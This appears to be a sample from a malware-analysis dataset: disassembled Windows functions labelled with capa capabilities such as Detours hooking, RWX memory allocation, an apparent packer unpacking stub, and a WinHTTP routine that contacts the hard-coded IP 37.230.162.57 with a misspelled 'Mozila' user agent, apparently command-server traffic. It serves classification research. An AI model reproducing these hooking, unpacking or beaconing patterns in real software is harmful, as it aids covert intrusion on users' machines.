joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180041c20
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp edx, 1
je 0x180041c30
xor eax, eax
add rsp, 0x38
ret
xor eax, eax
lea r8, [0x180041ba0]
mov r9, rcx
mov qword [rsp + 0x28], rax
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret

Function at 0x180044650
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
add rdx, 0xffffffffffff0000
mov rdi, rcx
movzx eax, dx
mov rbx, rdx
sub rbx, rax
test rax, rax
cmove rbx, rdx
cmp rbx, rcx
jbe 0x18004472b
nop dword [rax]
cmp rbx, qword [section..data]
jb 0x18004469e
cmp rbx, qword [0x180056008]
ja 0x18004469e
sub rbx, 0x8000000
jmp 0x180044722
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov r8d, 0x30
mov rcx, rbx
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x18004472b
cmp dword [rsp + 0x40], 0x10000
jne 0x180044706
cmp qword [rsp + 0x38], 0x10000
jb 0x180044706
mov edx, 0x10000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x18004472d
sub rbx, 0x10000
jmp 0x180044722
mov rcx, qword [rsp + 0x28]
add rcx, 0xffffffffffff0000
movzx eax, cx
mov rbx, rcx
sub rbx, rax
test rax, rax
cmove rbx, rcx
cmp rbx, rdi
ja 0x180044680
xor eax, eax
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret

Function at 0x180044740
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
movzx eax, cx
mov rdi, rdx
mov rbx, rcx
test rax, rax
je 0x180044762
sub rbx, rax
add rbx, 0x10000
cmp rbx, rdi
jae 0x18004481d
nop dword [rax + rax]
cmp rbx, qword [section..data]
jb 0x18004478e
cmp rbx, qword [0x180056008]
ja 0x18004478e
add rbx, 0x8000000
jmp 0x180044814
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov r8d, 0x30
mov rcx, rbx
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x18004481d
cmp dword [rsp + 0x40], 0x10000
mov rcx, qword [rsp + 0x38]
jne 0x1800447f9
cmp rcx, 0x10000
jb 0x1800447f9
mov edx, 0x10000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x18004481f
add rbx, 0x10000
jmp 0x180044814
mov rbx, qword [rsp + 0x20]
add rbx, rcx
movzx ecx, bx
test rcx, rcx
je 0x180044814
mov eax, 0x10000
sub rax, rcx
add rbx, rax
cmp rbx, rdi
jb 0x180044770
xor eax, eax
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x180044830
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
lea rdi, [rcx - 0x7ff80000]
mov rbx, rcx
cmp rcx, 0x7ff80000
ja 0x180044852
mov edi, 0x80000
mov qword [rsp + 0x38], rsi
lea rsi, [rcx + 0x7ff80000]
cmp rbx, 0xffffffff80000000
jb 0x18004486e
mov rsi, 0xfffffffffff80000
movzx eax, byte [rcx]
cmp al, 0xff
jne 0x180044885
cmp byte [rcx + 1], 0x25
jne 0x1800448c9
movsxd rcx, dword [rcx + 2]
add rcx, 6
jmp 0x180044891
cmp al, 0xe9
jne 0x1800448c9
movsxd rcx, dword [rcx + 1]
add rcx, 5
add rcx, rbx
cmp rcx, rbx
jae 0x1800448b4
cmp rcx, 0xffffffff80000000
jae 0x1800448ab
lea rsi, [rcx + 0x7ff80000]
jmp 0x1800448c9
mov rsi, 0xfffffffffff80000
jmp 0x1800448c9
lea rdi, [rcx - 0x7ff80000]
cmp rcx, 0x7ff80000
ja 0x1800448c9
mov edi, 0x80000
mov rdx, qword [0x1800564e8]
mov rax, qword [0x1800564e0]
mov qword [rsp + 0x30], rbp
test rdx, rdx
jne 0x1800448f0
test rax, rax
je 0x180044907
mov rdx, rax
mov qword [0x1800564e8], rax
mov rcx, qword [rdx + 0x10]
test rcx, rcx
je 0x180044907
cmp rcx, rdi
jb 0x180044907
cmp rcx, rsi
jbe 0x180044a5a
mov qword [0x1800564e8], rax
mov rdx, rax
test rax, rax
je 0x180044952
mov rcx, rax
nop dword [rax]
test rax, rax
je 0x18004493c
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x18004493c
cmp rax, rdi
jb 0x18004493c
cmp rax, rsi
jbe 0x180044a5a
mov rdx, qword [rdx + 8]
mov qword [0x1800564e8], rdx
mov rcx, rdx
mov rax, rdx
test rdx, rdx
jne 0x180044920
movzx eax, bx
sub rbx, rax
cmp rbx, 0x40000000
jbe 0x18004497c
lea rdx, [rbx - 0x40000000]
mov rcx, rdi
call fcn.180044650
mov rdx, rax
test rax, rax
jne 0x180044a08
movabs rbp, 0xffffffff40000000
cmp rbx, rbp
jae 0x1800449a2
lea rcx, [rbx + 0x40000000]
mov rdx, rsi
call fcn.180044740
mov rdx, rax
test rax, rax
jne 0x180044a08
cmp rbx, 0x40000000
jbe 0x1800449c2
lea rcx, [rbx - 0x40000000]
mov rdx, rbx
call fcn.180044740
mov rdx, rax
test rax, rax
jne 0x180044a08
cmp rbx, rbp
jae 0x1800449de
lea rdx, [rbx + 0x40000000]
mov rcx, rbx
call fcn.180044650
mov rdx, rax
test rax, rax
jne 0x180044a08
mov rdx, rbx
mov rcx, rdi
call fcn.180044650
mov rdx, rax
test rax, rax
jne 0x180044a08
mov rdx, rsi
mov rcx, rbx
call fcn.180044740
mov rdx, rax
test rax, rax
je 0x180044a91
mov dword [rdx], 0x52727464
lea rcx, [rdx + 0xffa8]
xor r8d, r8d
mov qword [0x1800564e8], rdx
mov qword [rdx + 0x10], r8
mov r9d, 0x2a7
mov rax, qword [0x1800564e0]
mov qword [rdx + 8], rax
lea rax, [rdx + 0xff60]
mov qword [0x1800564e0], rdx
mov qword [rcx], r8
lea rcx, [rcx - 0x60]
mov r8, rax
sub rax, 0x60
sub r9, 1
jne 0x180044a42
mov qword [rdx + 0x10], r8
mov rax, qword [rdx + 0x10]
cmp rax, rdi
jb 0x180044a91
cmp rax, rsi
ja 0x180044a91
mov rcx, qword [rax + 0x48]
movdqa xmm0, xmmword [0x180048900]
mov qword [rdx + 0x10], rcx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
jmp 0x180044a93
xor eax, eax
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180044cf0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x50
mov rbx, rdx
mov r8d, 0x30
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
nop
mov eax, 0x5a4d
mov rcx, qword [rsp + 0x28]
cmp word [rcx], ax
je 0x180044d1e
xor al, al
jmp 0x180044d60
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rdx + rcx], 0x4550
je 0x180044d2f
xor al, al
jmp 0x180044d60
mov r8d, dword [rdx + rcx + 0xe8]
lea rax, [r8 + rcx]
cmp rbx, rax
jb 0x180044d56
mov eax, dword [rdx + rcx + 0xec]
add rax, r8
add rax, rcx
cmp rbx, rax
jae 0x180044d56
mov al, 1
jmp 0x180044d60
xor al, al
add rsp, 0x50
pop rbx
ret
add rsp, 0x50
pop rbx
ret
Function at 0x180045240
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rsi
sub rsp, 0x28
mov rbp, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x1800564f8], eax
je 0x180045267
mov eax, 0x10dd
add rsp, 0x28
pop rsi
pop rbp
ret
mov eax, dword [0x1800564fc]
test eax, eax
jne 0x1800453a3
test rbp, rbp
jne 0x180045284
lea eax, [rbp + 0x57]
add rsp, 0x28
pop rsi
pop rbp
ret
test rsi, rsi
je 0x1800452a0
cmp qword [rsi], 0
jne 0x1800452ac
mov dword [0x1800564fc], 6
mov qword [0x180056500], rsi
mov eax, 6
add rsp, 0x28
pop rsi
pop rbp
ret
mov qword [rsp + 0x40], rbx
mov ecx, 0x30
mov qword [rsp + 0x20], rdi
call fcn.180046290
mov rdi, rax
test rax, rax
jne 0x1800452d0
lea ebx, [rax + 8]
jmp 0x180045378
mov rcx, qword [rsi]
xor edx, edx
call fcn.180045190
xor edx, edx
mov rcx, rbp
mov rbx, rax
call fcn.180045190
movzx edx, byte [rbx + 0x3e]
mov rbp, qword [rbx + 0x48]
sub rbp, rdx
test dl, dl
je 0x18004536a
cmp rdx, 0x1e
ja 0x18004536a
cmp qword [rbx + 0x50], rax
jne 0x18004536a
lea r9, [rsp + 0x50]
mov dword [rsp + 0x50], 0
mov r8d, 0x40
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x18004532c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180045378
mov qword [rdi + 0x20], rbx
mov rbx, qword [rsp + 0x40]
mov dword [rdi + 8], 1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rbp
mov eax, dword [rsp + 0x50]
mov dword [rdi + 0x28], eax
mov rax, qword [0x180056510]
mov qword [rdi], rax
xor eax, eax
mov qword [0x180056510], rdi
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
pop rsi
pop rbp
ret
cmp dword [0x1800564f0], 0
mov ebx, 9
jne 0x180045383
mov dword [0x1800564fc], ebx
test rdi, rdi
je 0x180045390
mov edx, 0x30
mov rcx, rdi
call fcn.180046644
mov rdi, qword [rsp + 0x20]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov qword [0x180056500], rsi
add rsp, 0x28
pop rsi
pop rbp
ret

Function at 0x1800453b0
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x28
cmp dword [0x1800564f8], 0
jne 0x180045457
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, eax
xor eax, eax
lock cmpxchg dword [0x1800564f8], ecx
jne 0x180045457
mov qword [rsp + 0x38], rbx
mov rbx, qword [0x1800564e0]
mov qword [rsp + 0x20], rdi
xor edi, edi
mov qword [0x180056510], rdi
mov qword [0x180056508], rdi
mov qword [0x180056500], rdi
test rbx, rbx
je 0x180045440
nop word [rax + rax]
lea r9, [rsp + 0x30]
mov edx, 0x10000
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180045438
mov rbx, qword [rbx + 8]
test rbx, rbx
jne 0x180045410
jmp 0x180045440
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rbx, qword [rsp + 0x38]
mov eax, edi
mov dword [0x1800564fc], edi
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
ret
mov eax, 0x10dd
add rsp, 0x28
ret
Function at 0x180045a70
Capabilities:
Suspend thread

Disassembly:
push rdi
sub rsp, 0x20
mov eax, dword [0x1800564fc]
mov rdi, rcx
test eax, eax
jne 0x180045b13
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp rdi, rax
jne 0x180045a9a
xor eax, eax
add rsp, 0x20
pop rdi
ret
mov ecx, 0x10
mov qword [rsp + 0x30], rbx
call fcn.180046290
mov rbx, rax
test rax, rax
jne 0x180045ab6
lea edi, [rax + 8]
jmp 0x180045ad9
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x180045af7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov edx, 0x10
mov rcx, rbx
call fcn.180046644
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov dword [0x1800564fc], edi
mov qword [0x180056500], 0
add rsp, 0x20
pop rdi
ret
mov rax, qword [0x180056508]
mov qword [rbx], rax
xor eax, eax
mov qword [rbx + 8], rdi
mov qword [0x180056508], rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x42fa40
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x42fa4d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x42fa5d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x42fa45
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x42fa75
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x42fa62
sub eax, 3
jb 0x42fa8f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x42fac6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x42fab6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x42fab4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x42faa3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.0042fa02
jmp 0x42fa4d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xe000
mov dl, 6
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x42fb12
cmp rsi, rcx
jae 0x42fb1a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x42faf9
cmp al, 0x8f
ja 0x42faf9
cmp byte [rsi - 2], 0xf
je 0x42faff
sub al, 0xe8
cmp al, 1
ja 0x42fae3
cmp rsi, rcx
jae 0x42fb1a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x42fae9
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x42fb1a
lodsb al, byte [rsi]
jmp 0x42faf9
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x2d000]
mov eax, dword [rdi]
or eax, eax
je 0x42fb77
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x3dfb0]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x42fb27
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x42fb71
mov qword [rbx], rax
add rbx, 8
jmp 0x42fb47
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.0042fbfa], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.0042fbfa
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x42fbea
sub rsp, 0xffffffffffffff80
jmp 0x401500
Function at 0x140003430
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140003452
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x1400034cc
mov rdi, r14
mov rcx, rbx
call fcn.140004f30
test rax, rax
jle 0x1400034a4
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov rax, qword [rbx + 0x38]
mov r8, rbp
mov rdx, qword [rax]
call fcn.140024bf0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x1400034bc
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x1400034c4
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140003466
sub r14, rdi
jmp 0x1400035af
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x1400034e3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400034e5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140003517
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.140024bf0
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x1400035ac
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140003552
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x14000358d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.14001072c
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x1400035ac
cmp rbp, rax
ja 0x140003560
test rbp, rbp
je 0x1400035ac
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.14001072c
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x140006090
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x470
mov rax, qword [0x140037080]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov rbx, rdx
mov rsi, rcx
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x44], 1
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
xor edi, edi
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], 0xf
mov byte [rcx], dil
mov dword [rsp + 0x44], 1
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Mozila_5.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r15, rax
test rax, rax
je 0x140006258
mov r8d, 0x1539
xor r9d, r9d
lea rdx, str.37.230.162.57
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r12, rax
test rax, rax
je 0x14000624e
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8, rbx
lea rdx, [0x140031558]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r14, rax
test rax, rax
je 0x140006245
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x14000623c
xor edx, edx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x14000623c
movzx ebx, byte [rsp + 0x40]
nop word [rax + rax]
lea r9, [rsp + 0x50]
mov r8d, 0x400
lea rdx, [rsp + 0x60]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x14000623c
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x14000623c
mov ebp, eax
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rbp, rax
ja 0x140006218
lea rax, [rcx + rbp]
mov qword [rsi + 0x10], rax
mov rax, rsi
cmp rdx, 0xf
jbe 0x1400061fe
mov rax, qword [rsi]
lea rdi, [rax + rcx]
mov r8, rbp
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.140024bf0
mov byte [rdi + rbp], 0
jmp 0x140006231
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x60]
movzx r8d, bl
mov rdx, rbp
mov rcx, rsi
call fcn.140005610
cmp dword [rsp + 0x50], 0
ja 0x1400061b0
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov rax, rsi
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140008550
lea r11, [rsp + 0x470]
mov rbx, qword [r11 + 0x40]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x1400091f8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140009242
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140009242
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140009242
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140009242
cmp dword [rcx + 0x84], 0xe
jbe 0x140009242
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140009244
xor al, al
add rsp, 0x28
ret

Function at 0x14000f7ec
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x14000f823
call fcn.1400120f0
mov dword [rax], 0x16
call fcn.140010f1c
xor eax, eax
jmp 0x14000f8b1
mov rdx, r9
mov rcx, r8
call fcn.14000f788
mov rbx, rax
test rax, rax
je 0x14000f8ae
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x14000f6b4]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x14000f89b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140012064
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14000f882
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14000f891
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.140017788
jmp 0x14000f8ae
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000f8ab
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x140012bbc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400129b8

Function at 0x140015f0c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140015f22
mov al, 1
jmp 0x140015f82
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140015f33
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140015f80
mov ecx, dword [rcx + 0x18]
nop
call fcn.14001e764
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140015f80
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140015f80
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140015f80
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140015f82
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140018eac
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140008ba0
sub rsp, rax
mov rax, qword [0x140037080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140015dec
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140018efb
mov rax, rbp
jmp 0x140019003
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x39590]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140019df8
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x39590]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140018fff
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140018fff
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140019df8
test rax, rax
js 0x140018fff
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140018fff
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140018ff1
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140018ff1
cmp byte [rcx], 0xd
jne 0x140018fd7
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140018fe6
cmp byte [rcx + 1], 0xa
jne 0x140018fe6
inc rcx
jmp 0x140018fe6
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x374b0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140018fb9
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140019003
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140008550
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140019198
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140039590]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400191ef
cmp word [rdx], r13w
jne 0x1400191ef
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400191f4
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140019319
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14001933a
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14001922d
mov rdx, r9
mov word [rbx], cx
jmp 0x140019254
cmp r9, r8
jae 0x140019264
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14001920e
jmp 0x140019319
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001930e
cmp dword [rsp + 0x80], esi
